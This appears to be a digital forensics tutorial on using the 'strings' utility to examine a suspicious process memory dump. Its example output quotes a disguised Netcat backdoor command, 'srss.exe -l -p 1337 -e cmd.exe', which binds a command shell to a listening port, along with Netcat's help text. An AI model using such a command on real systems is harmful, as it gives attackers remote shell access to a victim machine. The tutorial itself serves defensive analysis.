Strings Analysis

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Description and Review

Analyzing files such as executables and process memory dumps for strings can be very useful in identifying what these files were up to behind the scenes. For example, a malicious process memory dump may contain clues as to what other files and/or starting parameters the malicious process used. String analyzers are able to sift through files and pull out only the strings that are most likely to include pertinent information, using the criteria we give them. Strings is a well-known program on UNIX-like systems that makes a great strings analyzer.

The Strings program comes installed by default on most UNIX-like systems. If you want to use Strings on Windows, check out Cygwin and make sure to install the binutils package as part of the setup process.

Usage Instructions

One of the most useful features of Strings is the ability to specify the minimum string length for it to gather. For example, if I'm not interested in short strings in a file and only want to see strings that are made up of at least 8 characters (since they're more likely to contain filenames or start parameters that the process used), I would run the following command (replacing <sourcefilename> with the name of the file I want to analyzing strings on, and "<outputfilename>" with the name of the file I want to output the results to):

 strings -8 <sourcefilename> > <outputfilename>.txt

The resulting .txt file will contain a list of all strings made up of at least 8 consecutive characters found within the source file. The "8" can be replaced with any other number you choose to specify.

When using Strings on a suspicious process memory dump I obtained during a digital forensics investigation, I found the following strings:

 C:\Windows\system32\srss.exe -l -p 1337 -e cmd.exe
 Cmd line:
 port numbers can be individual or ranges: m-n [inclusive]
        -u            UDP mode
        -v            verbose [use twice to be more verbose]
        -w secs              timeout for connects and final net reads
        -z            zero-I/O mode [used for scanning]
        -t            answer TELNET negotiation
        -g gateway    source-routing hop point[s], up to 8
        -G num        source-routing pointer: 4, 8, 12, ...
        -h            this cruft
        -i secs              delay interval for lines sent, ports scanned
        -l            listen mode, for inbound connects
        -L            listen harder, re-listen on socket close
        -n            numeric-only IP addresses, no DNS
        -o file              hex dump of traffic
        -p port              local port number
        -r            randomize local and remote ports
        -s addr              local source address
        -e prog              inbound program to exec [dangerous!!]
        -d            detach from console, stealth mode
 [v1.10 NT]
 connect to somewhere:      nc [-options] hostname port[s] [ports] ...
 listen for inbound:  nc -l -p port [options] [hostname] [port]
 Secure Resource Selection Service
 C:\Windows\system32\srss.exe -l -p 1337 -e cmd.exe

The file the process was attached to was the srss.exe file, seen in the text above. By performing this strings analysis, I was quickly able to identify this srss.exe file as simply a disguised version of Netcat, acting as a backdoor to the victim machine. As you can see in the text above, the entire "-h" (help) output, including the version ("v1.10 NT"), was contained in the process memory dump. I was also able to identify that the Netcat backdoor was set up to listen ("-l") on port 1337 ("-p 1337") and was configured to execute any commands sent to it using the command line ("-e cmd.exe"). This presented a huge security concern on the victim machine! The strings analysis made it much quicker and simpler to gather the data I needed and react accordingly.

NOTE: By default, Strings will only analyze the file for ASCII and equivalent characters. Additional "-e" arguments will need to be used to search for Unicode characters. See here for a list of them.